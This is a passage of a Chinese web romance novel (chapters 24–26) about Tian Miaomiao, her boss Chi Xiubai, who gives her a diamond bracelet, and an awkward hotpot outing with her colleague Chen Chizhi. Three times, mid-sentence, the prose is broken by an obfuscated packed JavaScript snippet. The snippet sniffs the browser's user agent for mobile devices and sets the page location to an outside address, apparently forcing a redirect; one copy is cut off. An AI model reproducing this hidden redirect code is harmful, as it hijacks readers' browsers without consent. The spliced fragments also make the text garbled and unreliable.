“都说了,不想浪费警力,再说我身为老板,需要对员工的人身安全负责。”池修白强词夺理。 “这样啊。”田妙妙故意用失望的口吻说:“我还以为,我还以为……” 池修白直白道:“还以为我喜欢你?” 这一下就换田妙妙尴尬了,她点头也不是,摇头也不是,支吾道:“我还以为……我们是朋友。” “朋友?”这个说法很有新鲜感,像幼稚园小朋友过家家,池修白说:“成年人哪有什么朋友可言。” “为什么?每个年龄阶段都会有朋友,再说你和江组长他们看起来就像朋友啊。” “不是。”池修白有些不自在,说实在的,他曾经确实会把关系特别好的同事们当成朋友,他们志同道合,为相同的目标努力,感情很深厚,可最终他们分道扬镳,背叛了彼此,他再也不会将有工作联系的人视作朋友了。 好朋友,是不能一起做生意的。 “你是不是没有朋友?”田妙妙小心翼翼地问。 池修白本来想说你才没朋友,但听到她的语气中掺杂一点点心疼,便打蛇随棍上,感伤地“嗯”了声。 田妙妙思考了下,如果他真的没朋友,那应该就是性格导致的,他们天才骨子里都有些倨傲,看不起普通人,久而久之别人就不乐意和他们交往了。 可实话实说难免有点伤人,看在这束花的面子上,田妙妙颇为友善地说:“其实人生本来就是一个人的旅程呀,所以没有朋友也没什么大不了的。” “哦。”池修白说:“我那么可怜,你不得多陪陪我。” 田妙妙尬住,有点跟不上他跳跃的思路,只得点头:“我天天上班,还得加班,可不就是变相陪你嘛。” 说完后,田妙妙觉得自己简直太机智了,又补充了句:“怪不得网上说,跟同事在一起的时间,比跟另一半在一起的时间还长。” 池修白阴沉着脸,从口袋里掏出手链包装盒,凉飕飕地说:“这么没良心,突然有点不想给你了。” 田妙妙纳闷,这又是什么? 池修白把大花束抱到一边的餐台上,在她的注视下,打开精美的首饰盒。 耀眼夺目的手链美得令人呼吸一滞,田妙妙微微瞪大双眼,不可置信地呢喃:“这,这是给我的?” “嗯。”池修白作势要给田妙妙戴上。 田妙妙却把手背在身后,如梦初醒般摇头:“不、不用了,这束花就够了,我已经不生气了,手链就不要了,实在太贵重了。” 池修白不耐烦地把她的胳膊拽过来,半强制地给她戴上手链。 手链挺细的,钻石细碎闪亮,搭在她纤细骨感的手腕上,格外的精致秀美,低调中透着不低调。 池修白满意地点了下头,自己的眼光果然不错,田妙妙戴着很合适。 田妙妙还处于受宠若惊中:“要不还是退了吧,肯定很贵。” “碎钻,不值钱。”池修白无所谓地说。 手链上镶的钻虽然数量挺多,但单颗尺寸没有超过一克拉的,在他眼里都是不值钱的碎钻。这条手链主要是款式设计感比较符合他的审美。 听他说不值钱,田妙妙的抗拒感稍微减轻,她这才定睛欣赏手链,哪个年轻女孩不喜欢亮闪闪的东西,田妙妙也不例外,她很喜欢。 “谢谢,很好看。”田妙妙的眼睛亮得能和钻石平分秋色了。 池修白被她的情绪感染着,心情终于放松下来,他眼睫低垂,深深望进她的眼里。 “所以,还要搬出去吗?” 田妙妙猛地抬头,对上他的双眼。 池修白有一双多情的眼睛,里头盛满腻人的温柔和爱意,让人很难分辨出他是真心还是假意。 搬出去本就是田妙妙气头上的决定,现在池修白给了台阶,她马不停蹄地下来。 田妙妙轻轻咬唇,摇了摇头。心里有股说不出的羞耻感。 同住在一个屋檐下,虽然没有发生什么,可也很超过。 “你不是还有其他地方住嘛,为什么老来这边。”田妙妙说的有些不自在。 池修白口吻不悦:“哦?赶我走?” 拿人手短,田妙妙摩挲着手链,心虚地摇头:“就是问问嘛。” 她说话的语气,听起来特别娇俏,而她自己显然还没意识到这一点。 池修白自己也觉得不正常,他好像挺想离田妙妙近一点,离她近些,有种放松感。 但是这种感受还是不要说出去了,省得她得意个没完。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097012|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池修白说:“这边比较有人味。” “那你为什么不回家住啊?”这也是田妙妙比较疑惑的,按理说他父母都在S市,他应该在家常住才比较合理。 “我十二岁之后就不和父母住了。” “为什么?”田妙妙好奇追问。 池修白的脑海中闪过一些不好的片段,比如游戏机被摔碎的场景,比如他和父母剑拔弩张对峙的场景,比如父亲指着他的鼻子骂他永远也比不上他哥的场景…… “什么为什么?”池修白没好气回道:“我比较独立不行吗?” 田妙妙附和:“其实我也是,我初中时期就去住校了,算算年龄,也是十二岁开始,就不和父母住在一起了。” 池修白:“我也没有很想知道。” 田妙妙讪笑一声:“那我还蛮想知道你以前发生的事的。” 池修白愣了一下。 他低头看向田妙妙,对方也意识到自己说出的话过分亲昵,表情有些懊悔,视线移向别处,不敢看他。 池修白并不是什么榆木疙瘩,相反他对女人好感的感知很敏锐。这种习以为常的东西,他以前从未认真对待过,此刻从田妙妙身上感受到这股熟悉的感觉,别有一番滋味。 她喜欢他。 她想遮掩,却不停露出马脚。 当然,这个认知并没有让他过分喜悦,成年人的喜欢来得快、去得也快,或许一晚上就能变换七八种感受。 但,总归不坏。 池修白坐下后,慢慢开口:“我以前啊,特别叛逆,和父母关系并不好。” “是吗?”田妙妙点了下头,评价道:“大概能猜到。反正你看起来就不像个乖宝宝。” “我父母对我有一套标准,我永远达不到的标准。”池修白说:“后来,我干脆就不按照他们的期许来了。” “你那么优秀,也达不到他们的期望吗?”田妙妙瞠目结舌:“那你父母的标准应该没人能达到吧?” “有。”池修白说:“我哥。” “那就让你哥成为父母的骄傲就行了,你随便过过吧。一家子有一个出息的人就够了。” 池修白:“不过我哥已经不在了。” “对不起。”田妙妙愣住,忙道歉。 “没什么。”池修白轻轻摇头,回忆往昔:“其实我根本就没见过他,只是一直听过他的各种事迹。如果不是他的意外离世,可能就没有我的出生吧。” 池修白笑得有点寂寥,这种事情他很少会跟陌生人讲,没想到今天居然说给田妙妙听。 田妙妙心情有点低落。 难怪他从来不回家呢?父母心里永远有另一个优秀的孩子,自己怎么努力都比不过,换谁都心塞。 “你不用这么想,每个人都是独一无二的。”田妙妙说:“你的哥哥很优秀,不代表你就不优秀。你们只是性格不同,擅长的方向不一样罢了,你父母想让你和哥哥保持一样,这有点太强人所难了,没有尊重你的意愿。” 再说,池修白妈妈看起来没多苍老,由此推断出他哥哥离世时年龄应该很小,长大之后未必会像小时候那般优秀,更多的是父母的执念罢了。当然这种话田妙妙没法说出来,听起来很不礼貌。 池修白斜靠着沙发,支着手臂看着田妙妙,忽然笑了。 “我发现,你挺适合当幼师的,哄小孩一套一套的。” 田妙妙调皮地眨了下眼睛:“你被我哄到了是不是?” “我又不是小孩。”池修白鄙视地看着她。 说完,池修白的肚子咕噜响了声。 他脸黑了一瞬,有些尴尬。 田妙妙:“你晚上没吃饭?” 池修白摇头,他晚上忙着去订花、挑礼物,根本就没空吃饭。 看在手链的份上,田妙妙心情大好地说:“冰箱里还有食材,我去做。” 池修白满意地微抬下巴。算她识相。 24. 第24章 田妙妙在厨房忙碌的时候,池修白在客厅等得无聊,挪步到餐厅门口,看着她做饭。 田妙妙一看就是做过很多活的人,动作很麻利,一点不拖泥带水,熟练得有些让人心疼。 池修白看向她的手,和一般女孩白嫩纤细、精致美甲的手指不同,田妙妙的手指有轻微的粗糙,一看就是农活做多的痕迹。 她以前应该吃了不少苦吧? 池修白突然觉得她遇见自己挺好的,至少以后不用再吃经济上的苦了。 田妙妙忍了一会,还是没忍住,抬头道:“老板,你能不能去客厅等着,不要一直盯着我呀,好尴尬的。” 很多事情特别简单,可是别人一盯着你看,做起来就各种不顺手。 她连切丁都比平时正常速度慢了一倍。 “你这么怕人看?”池修白就是不走,跟闹脾气的小孩一样。 田妙妙无奈,只能跑过去把他推走,“我马上就做好了,你要是再看,那就不敢保证时间了。” 池修白被推搡,他的注意力还在她的手指上,低头捏了一下她的手,把她的手指拉近看了眼。 田妙妙心头狠狠一跳,搞不懂他要干什么,自己的手指湿淋淋的,还往下滴着水,而他的手很干燥,指尖温热,指甲修剪得干净齐整,就这么握着她的手。 田妙妙用了几分力气往回抽手,池修白却把攥着她手,拉近了些,仔细端详。 田妙妙面颊微微烧起来:“干嘛呀。” “手这么糙,也不知道保养下。”他低声说,嫌弃的口吻中更多的是心疼。 田妙妙尴尬又羞臊:“那是自然比不上你的手精致漂亮。”一个男人的手长这么好看做什么?不知道的还以为是钢琴家的手。 “算了,别做了。”池修白把她的手放下。 她低头看了眼自己的双手,的确不够精致,甚至左小指上还有残留的冻疮伤痕,不似原生手指那么纤细,她想起自己的妈妈,那才是一双常年劳作的农村妇女的手掌,粗糙厚实,毫不美观却将她辛苦拉扯大。 她自嘲地说:“没什么,手是拿来干事情的,又不是拿来欣赏的。咱也不是十指不沾阳春水的大小姐,丑点就丑点呗。” 池修白心情怪怪的,田妙妙以前过得好不好和他有什么关系,也不是自己一手造成的,他难受个什么劲。 只是,陈语女士再三嘱托过自己要好好照顾田妙妙,他以后难免要多上点心。 “以后我订餐,会有人按时送过来,你就不用做饭了。”附近的一家酒店有订餐服务,池修白曾经在这套房子独居时,吃饭都是这么解决的。 田妙妙眼珠一转,不放心地说:“是你说要订餐的喔,那你付钱哦。”反正她一直都是自己做饭的。 池修白翻了个白眼,“你计较得这么清做什么,我还不至于花你的钱吧?” “俺们穷人就是对每一分钱都算的很清楚嘛。”田妙妙理所当然地说:“哎,你们富人不懂~” 池修白叹气:“我既然决定管你了,就不可能在物质生活上亏待你。” 田妙妙心头一颤,心里五味杂陈。她当初厚着脸皮,带着妈妈留下来的信,找上池修白,所求的事,不外乎于此。既然已经达成了相应的目标,就不要再有更进一步的期待,田妙妙在心里悄悄告诫自己。 “我继续做饭了。”田妙妙转身,不再理会池修白。 池修白移步去阳台外抽了支烟。 田妙妙给他煮了一碗手擀面,煮面简便快捷,还很养胃,几分钟后就能出锅。 池修白不喜面食,他本来不愿动筷,田妙妙就在一旁用期待的眼神盯着他,他不得不吃一口。 口感意外不错,不知道她是怎么调味的,一碗素面居然还能吃出种海鲜面的鲜美味,他一口气吃光,连汤都没剩。 田妙妙很满意地点头。 此男的胃口挺不错的,也不挑食,是个合格的食客。 “去刷碗。”田妙妙叮嘱他一句。 池修白把唯一使用过的碗和筷子放入空荡荡的洗碗机中。 田妙妙:“……你这也太浪费水电了。” “洗碗机买来就是为了工作的。”池修白振振有词:“人,不要总和洗碗机抢活干。” “好吧,反正这是你家,听你的。”他乐意浪费就浪费吧,反正也不是花她的钱。 “真乖。”池修白抬手拍了拍她头顶。 就像拍小猫小狗那样。 田妙妙摸头顶,嘟囔道:“不能拍头,以后会长不高的。” 池修白上下扫视一眼:“那你可抓紧了,要不要我带你去医院测测骨龄。” “别。”田妙妙说:“已经没法竖着长了,我最近都横着长了。” 池修白这次看得更仔细了,田妙妙的确比刚来面试的时候胖了一点,下巴没有那么过分尖细,吃不饱饭的饥荒感褪去,看起来更水灵更漂亮了。 “哦,那你可得注意点,别到时候变成猪,回家过年的时候都没人认识你了。” 突然提到了过年,田妙妙摇头:“我不回家过年。” “哦?”池修白有点意外,虽然他和父母关系不怎么样,好歹过年的时候也得回家拜年,双方维持表面的和谐。 “告诉你个秘密,其实我是偷跑出来的。” 池修白不咸不淡:“哦。” “你不好奇吗?”田妙妙歪了下脑袋:“比如,我为什么要偷跑?” “还能为什么,过不下去了呗。”池修白想也不想地说。对于穷人而言,但凡还能忍耐,都不会想着彻底打破现状,做出改变。 能离家出走,大抵也是真的无法生存了。 田妙妙被这个说法击中,她点头:“你说的没错,根本原因就是过不下去了。” “既然出来了,就别再回头望。” 田妙妙郑重点头,眼眶发热,“嗯,都过去了,现在是新的开始。”她很庆幸,她逃了出来,她的人生翻开新的篇章。 餐后的这段时间,池修白正欲去书房,被田妙妙叫住打游戏。 她和很多刚接触游戏的新人一样,对游戏处于狂热上头期,上班时间没空打,心里会一直惦念着,下了班就马不停蹄地过过手瘾。 池修白对游戏玩得太多,甚至有些免疫,他自己已经挺长时间没有沉溺于玩游戏了,偶尔市面上出了个爆款,他才会去尝试一下,更多的也是出于分析的心理去玩。 “你就跟我一起玩嘛,玩游戏还是有人一起玩才有意思。” “我反倒觉得自己体验更好。”池修白刚开始接触游戏时,上手最多的是单机,而非和朋友组队的联机游戏。 “才不是。人类是群居型动物,大家都有分享的欲望的。”田妙妙说:“就算是单机游戏,很多人都喜欢自己玩完之后,再看别人直播玩,那不还是想和别人一起玩吗?”田妙妙最近对游戏的了解日渐加深,甚至还会在视频网站上找游戏up主的实况看。 她迫不及待地分享她近期新发现的宝藏游戏博主,在关注列表中翻出新关注的人:“你看过他的视频没,这人直播特别好玩,虽然操作一般但是特别有节目效果。” 池修白眼神深幽:“喜欢看别的男人打游戏是吧?你别想跟我一起打了,你去让他带你吧。” “那可不行,我只跟你玩。”田妙妙小心翼翼地去瞅池修白的表情,见他不悦,心道自己太大意了,池修白就是个小心眼子,自己怎么能在他面前提起另一个男人呢,她想了想说:“其实我搜到他,还是因为搜《修仙世界》,看到他几年前发的视频,觉得有意思,才看他的直播的。如果没有你,我也不会认识他啊,你别生气了。” 池修白果然心情转好,打开手机:“别废话了,上号。” 两人一起组队,田妙妙进步挺快的,两人配合渐渐默契。 池修白都不好意思嫌弃田妙妙只会坑人了。 两小时过得就像十分钟那么快,等回过神,已经10点多了,池修白要准备睡觉了。 “今天就到此为止,回去你再把游戏装备熟悉一下,不要只用系统推荐的出装,要根据战局形势灵活调整装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池修白不屑地哼道:“那必不可能。我当年叱咤游戏的时候,你怕是还在念幼儿园。” “我没念过幼儿园。”田妙妙眨了下眼睛。 池修白蹙眉:“你以前到底过的什么日子,连幼儿园都没念过?” “我们村上就一个幼儿园,还要收费,当时爷爷重病,花了很多钱,家里实在没有多余的钱,我就没有去念,小学时候直接上学的。”田妙妙解释,她曾经特别自卑的往事,都不甚在意地说给池修白听,或许是和他的差距太过遥远,没有觉得羞耻的必要。 池修白突然揽过她的肩膀,给她一个拥抱安慰,在田妙妙还没回过神的时候,怀抱就离开了。 “没事,都过去了,你现在已经靠自己,一步步走到了这里。这只是起点,以后会越来越好。”池修白侧目凝视她的眼睛,历经千帆,她的眼睛居然还能保持如此纯白真挚的光亮,她就像墙缝的一株野草,被无数风霜鞭笞过,春风一吹,又绿了起来。 在柔顺和善的表象下,是坚韧不屈的生命力,没有耀眼夺目的外在,却有熠熠闪辉的灵魂。 “你、是不是不怪我了?”田妙妙试探问。 “怪你什么?算计我?”池修白稍作思索说:“倒也不失为一段有趣的经历。” “那我能不能提个小小的要求?” “你说。” “你先答应。” “你先说,我听完才能判断能不能答应。”池修白向来谨慎。 “就是,你以后能不能平等地看待我,不要那么、那么看不起我。” 池修白心梗了一下,他轻声叹息:“我没有看不起你,我对你除了心疼,就是佩服。” “那你下午的时候那样说我。”田妙妙努嘴。 “我只是……”吃醋了?急了?池修白才不会承认,“我只是误会了。你要是气不过的话,我可以答应你个请求,在我力所能及地范围内,一定办到。” “好啊,一言为定。”田妙妙欣喜过望,伸出小指在他面前晃了晃。 池修白嘴上说着幼稚,手指却伸过去,勾住她的。 两人就这么勾着小指晃了晃,“拉钩上吊,一百年不许变。” 田妙妙抽回手指,快步跑回卧室。 池修白低头望着虚张的掌心,指间有微弱的痒意,想抓住什么却从指缝中溜走。他闭了闭眼,田妙妙最近越来越能影响他的思绪了,这不是一个好苗头,他想。 25. 第25章 时间倏忽而过,一转眼就是周五,这并不是一个普通的周五,而是田妙妙入职问天后第一次发薪日。 她一上午宛如患上多动症,隔十几分钟就得看一眼银行APP,直到下午三点才看见余额增长。 她入职还不满一个月,而且还没过实习期,看到五位数的入账时,满意得不行。 果然高薪与否全看入行选择,她想如果她按照既定的轨迹入职慧通快递,现在拿到手的工资怕是只有问天工作室的三分之一吧。 田妙妙赶紧转了一万给池修白,当初他借给她两万块钱应急,她可没敢忘。 池修白没收,钱被他原封不动退了回来。 “拿去给自己添置几件衣服,天天来回就穿那几套,严重拉低工作室的时尚水平。” 田妙妙心道,程序部门那群男生天天变着花样穿格子衫,问天工作室的时尚水平哪里轮得到她拉低。 既然他不要,田妙妙也不推辞,决定买个礼物送给他,感谢他这段时间的收留和照顾,顺便还钻石手链这个礼。 临近周末,大家的工作状态非常懈怠,开完一个视频会议,田妙妙甚至有些昏昏欲睡。 展会方案的终稿已经敲定,正在紧锣密鼓地筹备线下物料和采购相关设备,田妙妙已经操碎了心,好在周末的时候有人和她换班,她不用去现场盯进度。 田妙妙偷摸开了一把游戏准备提提神,陈驰之恰好在线,见她上线后,立马拉她。 “蹲你好久,总算上线了。”陈驰之开了语音。 田妙妙发了个表情过去。 两人选完英雄,进入峡谷后,陈驰之突然问她:“周末有空吗?一起吃个饭呀。” 田妙妙打字:先打完这盘再说。 她有点不太习惯开语音聊私事。 “行。”陈驰之这次操作水平比之前厉害不少,刚十分钟就赢下比赛,还拿了个MVP。 田妙妙战绩一般,分数排第三。玩的有点没意思。 田妙妙回微信夸他:大神好厉害,带我躺了一局。 陈驰之继续刚才的话题:刚发了薪水,要不要一起聚个餐?听说附近商场新开了一家火锅店,还蛮好吃的,要去试试吗? 田妙妙有点犹豫。 朋友周末相约吃饭,其实是件再正常不过的事情,而且还刚发了工资,连没钱的借口都被否了。 可她就是兴致不高,维系关系果然挺耗费精力的。 她本来计划着去给池修白挑礼物的,陈驰之也是男生,应该能帮着参谋一下。 陈驰之:怎么样,赏个脸呗。 田妙妙:好啊,那就明天吧。 陈驰之回了个OK的表情。 两人约的是中午11点,田妙妙睡了个懒觉,10点起来洗漱时,猛地看见池修白还在客厅,她吓了一跳,“你怎么在这?” “如果我没记错的话,这里是我家吧?”池修白幽幽开口。 “不是,我不是那个意思,你上周末就不在啊。”上周末池修白一直在工作室加班。 “我这周末有事,没去工作室。”池修白看了眼田妙妙,“下午有事吗,带你参加个宴会。” 田妙妙一怔,她已经答应要和陈驰之聚餐了,下午她不确定几点能回来。 “我下午有约了。”田妙妙有些犯难:“而且我不太想去宴会。”她这个土包子,去那种高大上的场合,想想就浑身发毛,指不定闹出什么笑话来。 “有约?”池修白挑眉:“呵呵,果然人一旦有钱,就变了。” “哪变了?” “变得不老实了。” 田妙妙哭笑不得:“就是和朋友一起吃火锅啦。” 池修白没多想,自然而然地认为,田妙妙口中的朋友指的是顾念瑶,小女生一起约饭逛街什么的。 他没有必要去限制田妙妙的交友,不跟他去就不去呗,带她去参加姜星的订婚宴,确实是件无聊的事情。 田妙妙洗漱完,看时间来得及,顺便化了个妆。 池修白:“上班的时候没见你化妆。” “化妆当然是出去玩的时候化啦。”田妙妙的化妆技术,已经脱离不忍直视的阶段,来到乏善可陈阶段,化完也没增色多少。 “好看吗?”田妙妙问。 池修白直言:“浪费化妆品。” “这就是我没有天天上班化妆的原因,怎么能付费上班呢,你说是不是?”她有理有据地说。 “不多实践怎么进步?我看你就是想多睡一会。” “哎呀,这都被你发现了。”田妙妙嘿嘿笑了下,自从池修白来到这边住,早上蹭他的车,自己可以比之前多睡20分钟呢。 “好了,我得走了。”田妙妙看了眼手机,陈驰之给她发信息,说自己已经到了。 田妙妙离商场挺近的,十五分钟后找到陈驰之,因为来晚了,田妙妙特地在商场入口处的奶茶店,买了两杯以表歉意。 恰好看见,陈驰之也拎着奶茶袋,好巧不巧是同一家。 “咱俩可真有缘。”陈驰之感慨,把手里的奶茶递过去。 田妙妙瞅了眼他点的口味,放心下来:“不是同一种口味,这算不算更有默契了?” 陈驰之笑道:“那是自然。我已经在排号了,前面还有两桌,在这里等还是先去逛逛?那边有抓娃娃机,要去试试吗?” “就两桌了,要不先等吧?”田妙妙犹疑开口。 “没事,这边报号的声音还挺大的,不会漏掉的,还是先去抓娃娃吧,我有点手痒。” “好吧。”田妙妙跟他过去。 那里有一整排的娃娃机,旁边是一对小情侣在玩,男生技术不佳,女生在一旁耐心鼓励着对方。 娃娃机扫码启动,田妙妙一直在看陈驰之的动作,他付完钱后,冲她招手:“来试试。” “我吗?”田妙妙指了下自己,“我之前没玩过,不太会。” “很简单的,我教你。”陈驰之示范给她看:“左面的摇杆是控制抓夹方位的,对准之后,拍一下右边的按钮,抓夹就会放下来,自动抓取娃娃了。” 田妙妙看他演示了一遍,抓夹精准地抓住娃娃的头,奈何提起来的时候,抓夹变得松动,娃娃晃了两下掉了下来。 “这也太难了。”田妙妙感慨,瞄准不是最难的,还得抓夹能抓牢,这根本不是操作的人能决定的。 “你来试试,其实是有概率的,抓到一定次数,总会抓上来的。” 陈驰之再次扫码,把位置让给田妙妙,田妙妙上手操作,她根本不抱什么希望,看准位置果断下爪。 不知道是不是新手福利,娃娃居然被成功抓取,抓夹晃晃悠悠地往出口移动,田妙妙屏气凝息,眼睛直勾勾盯着抓夹的移动路线。 在娃娃掉进出口的一刹那,她提起的小心脏才安稳落地,兴奋地看向陈驰之。 陈驰之显然比她还激动:“牛啊,一击即中!” 田妙妙谦虚道:“凑巧而已。” 旁边的那对小情侣目睹了田妙妙方才的操作,那男生感叹:“兄弟,你女朋友手气真不赖啊。” 田妙妙瞬间尴尬,浑身不自在,想直接遁地。 陈驰之先她一步回道:“谢谢兄弟,不过只是朋友,还不是女朋友。” 那男生意识到说错话了,说了声抱歉,就继续低头抓自己的娃娃。 田妙妙还是有些不自在,不知道为什么,和陈驰之在一起被路人误会,总给她一种怪怪的感觉。偏偏这种事情,也不好怪罪什么,毕竟是她同意来赴约的。 陈驰之把娃娃拿出来递给她,是个肥猫公仔,“再接再厉?” 田妙妙手感正热,没有推辞。又抓了三次后,一无所获,田妙妙的兴致降了下来,看来刚才纯属幸运。 最后两次是陈驰之抓的,第一次没抓到,第二次顺利抓到一只柯基公仔。 他把这只公仔也给田妙妙:“正好凑一对。” 田妙妙收下了娃娃,“谢谢。” 火锅店叫到了他们的号,两人停止抓娃娃的活动,抱着两只新鲜出炉的公仔进入火锅店。 陈驰之询问田妙妙的口味,能不能吃辣。 田妙妙说可以接受微辣。 “那就鸳鸯锅吧,省事。”陈驰之直接点好锅底。 点菜时,陈驰之把平板递给田妙妙,让她先点,自己后添。 田妙妙比较拘谨,点了两盘素菜和一份虾滑就不点了。 陈驰之看完,笑道:“怎么就点这么一点,咱不是刚发工资吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097014|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不用给我省钱。”他接着补了四五盘荤菜,一份菌菇拼盘还有一份小酥肉。 “就我们两个人哎,会不会有点多?”田妙妙提醒。 陈驰之道:“是有一点吧,看你这么瘦,应该吃的很少,本来是想找其他人一起来吃的,但你答应赴约,我就有点不想喊别人了。” 田妙妙心下一怔。 陈驰之的话给她不小的内心震动,她原本有一点点感觉到陈驰之对自己有点好感,他是个内敛的男生,可是带她打游戏的时候很凶猛,有一种刻意表现的感觉,但这种感觉很微弱,她没有当一回事,万一搞错了自己也很难堪,可是现在听他说这种话,她的预感越来越清晰—— 陈大学霸好像真的喜欢自己。 田妙妙首先感觉到一点小得意,毕竟这么优秀的男生对自己有好感,难免让她信心大增。 其次,她有一点困扰。如果没有遇到池修白的话,自己现在应该会欣然接受陈驰之的好感,可偏偏有了池修白这个变数在,自己的心绪已经被他搞得七上八下,装不下更多的人。 田妙妙决定装傻充愣,只要陈驰之不明着戳破窗户纸,自己就权当不知道他的心意。 虽然这么做有点渣女,但她也想不到什么更好的办法。 陈驰之一直状若无意地观察田妙妙的反应,见她没有明显的触动,以为自己的暗示并不明显。 看来田妙妙这姑娘有点迟钝。 菜陆续上齐,田妙妙开始下菜,来缓解当前的尴尬氛围。 她穿着轻纱外套防晒,下菜的时候,袖口有些垂坠,快要落进锅底中,见她没有注意到,陈驰之伸手帮她挽袖口。 田妙妙动作顿了一下,身体有些僵,陈驰之没有出声,直接上手,有点吓到她了。 只是这种事情,是件贴心的事,也谈不上冒犯,田妙妙还得说声谢谢。 陈驰之帮她多卷了两下袖口,她手臂纤细,皮肤光滑,不多卷两圈,很容易再次滑落下去。 没了衣袖的遮挡,钻石手链露了出来,松松垮垮地系在手腕处,精致漂亮,给田妙妙添了一点女人味。 陈驰之评价道:“新买的手链吗?很漂亮。” 田妙妙放下毛肚片,把袖子放了下来,欲盖弥彰地遮住手链,哂笑:“还是你下菜吧,我衣服有点碍手碍脚。” “怎么还不给看呀?”陈驰之推了一下眼镜,调笑着缓解尴尬。 田妙妙随便找了个借口:“哎呀,就是饰品店买的,戴着玩的。” 陈驰之虽然是个大直男,可也能看出来,这条手链做工精细,不像是普通饰品店的水准,“哪家店呀,看上去很有质感,要不我们等会一块去逛逛,我帮我妹也带一条。” 田妙妙赶紧岔开话题:“你还有妹妹啊。” 陈驰之:“我是独生子,是表妹,叔叔家的。” “哦哦,她上几年级了?” “高中。”陈驰之说,“刚才逗你玩的,我才不给她送手链,省得她天天臭美、不好好学习了。” 怎么又拐回到手链上了?田妙妙一个头两个大。 “要不把这两个娃娃送给她吧?”田妙妙指了指自己身旁刚抓到的两个公仔。 “不用,平时抓到的娃娃都给她了,她房间快堆满了,已经看不上这些。” 火锅开始嘟噜冒泡,田妙妙赶紧说:“刚才下的肥牛卷应该熟了,快吃火锅吧。” 两人结束话题,开始吃火锅。陈驰之一直用公筷,贴心地帮田妙妙夹菜。 田妙妙不停道谢,她想投桃报李,帮陈驰之夹菜,被拒绝了。 陈驰之:“你就给我个机会,展示一下绅士风度好吧?不要一直这么拘谨,咱们不是朋友吗?” 田妙妙点头:“你是我来到问天后,认识的第一个朋友。” “彼此,彼此。”陈驰之说着,又给她捞了一个鱼籽福袋:“所以不管怎么说,都希望我们的交情能长远一点。” 田妙妙低头戳着鱼籽福袋,轻轻嗯了一声。 她突然想起来,之前在网上看到过的一个辩论贴,男女间存在真正的友谊吗? 评论下一面倒的回答都是不可能,除非都丑。 田妙妙有些灰心。她和陈驰之真的能一直保持纯洁的友谊吗? 26. 第26章 “你今天情绪有点低落啊。”陈驰之开口:“吃饭的时候都没见你笑一下,是最近工作太忙了吗?等展会结束,应该就能闲下来了。” 田妙妙并不是心情低落,更多的是心思不定,一直在走神,听见他的话后,勉力扬起一个清甜的笑意。 陈驰之点点头,“对,这样才好看。” 他伸手意欲帮她擦掉嘴角的辣椒籽,被田妙妙条件反射性躲了一下。 陈驰之快速收回手,尴尬地碰了下鼻子:“抱歉,你嘴巴这里有点东西,看到之后没忍住。” 田妙妙抽了张纸巾擦掉,“谢谢。” “刚才是不是吓到你了,实在不好意思。”陈驰之又补了一句道歉。 田妙妙只得摇头:“没事,一下子没反应过来。” “如果你跟我在一起,哪里觉得别扭的话,一定要说出来,我这人有点直男粗线条,可能会意识不到。” “你已经很会照顾人了,可能就是我们第一次线下聚会,我有点不太适应吧,下次可以叫上顾念瑶,她比较会活跃气氛。”田妙妙心生歉疚:“跟我一起吃饭应该挺无聊的,我实在不怎么会找话题。” 或许,也是她对陈驰之缺少探究欲,以至于没什么想聊的,通常是他问一句,她答一句。 “没有啊,跟你一起吃饭很放松。”陈驰之笑意盈盈地看着她,跟喜欢的女生一起吃饭,哪怕只是看着对方都觉得满足:“我是怕你觉得不开心。” 田妙妙友好地笑笑:“我还好啦。” 一顿始终弥漫淡淡尴尬的饭局结束,陈驰之起身去结账。 田妙妙抱着两个公仔跟在他身后,出了火锅店后,主动询问:“刚才我们一共吃了多少,我A给你。” “说这话就有点伤自尊了。”陈驰之一脸受伤:“是我约你出来吃饭的,哪有让你A我的道理。” “这样我有些过意不去。”田妙妙虽然抠门,但也不想欠别人的,当然欠池修白的无所谓。 “实在过意不去的话,你哪天有空的话也可以回请我。”陈驰之火速把下次约饭给提上日程。 田妙妙心道,那不如直接AA呢,你一顿我一顿,什么时候是个头呀,下次她请客,一定会把顾念瑶喊上,不然就他们两人实在太尴尬了。 但此时此刻,田妙妙也只能点头表示同意。 陈驰之看了眼时间,提议道:“现在时间还早,下午要是没事的话,要不要去看个电影,最近上了不少新片,看影评还不错。” 田妙妙一想到要和陈驰之坐在影院里,苦熬两个小时,就觉得烦躁,电影有什么好看的,还不如回去打游戏呢。 陈驰之如果对她没意思的话,她完全不介意一起吃饭看电影,但发现他对她有意思,一切就变味了。 和对自己有好感的人一起吃饭看电影,无形中有一种压力,会担心自己表现不好毁形象,也担心对方突然表达好感打自己一个措手不及。 没人喜欢自己时,是一种苦恼,可有人喜欢自己时,又是一种负担。 真不知道像池修白这种人,必然会有数不清的异性缘,不知道会不会产生压力呢? 陈驰之在她面前挥了下手:“在想什么呢?心不在焉的。” “有点不太想去,我一看电影就有点犯困,想睡觉。” “你要是睡着的话,可以靠在我的肩膀上。” 听见陈驰之这种过分亲昵的话,田妙妙手足无措,把两个公仔往他怀里一推,捂着肚子道:“不行,我有点想去卫生间,可能刚才吃太多了胃不舒服。” 田妙妙朝卫生间的标志快步小跑。 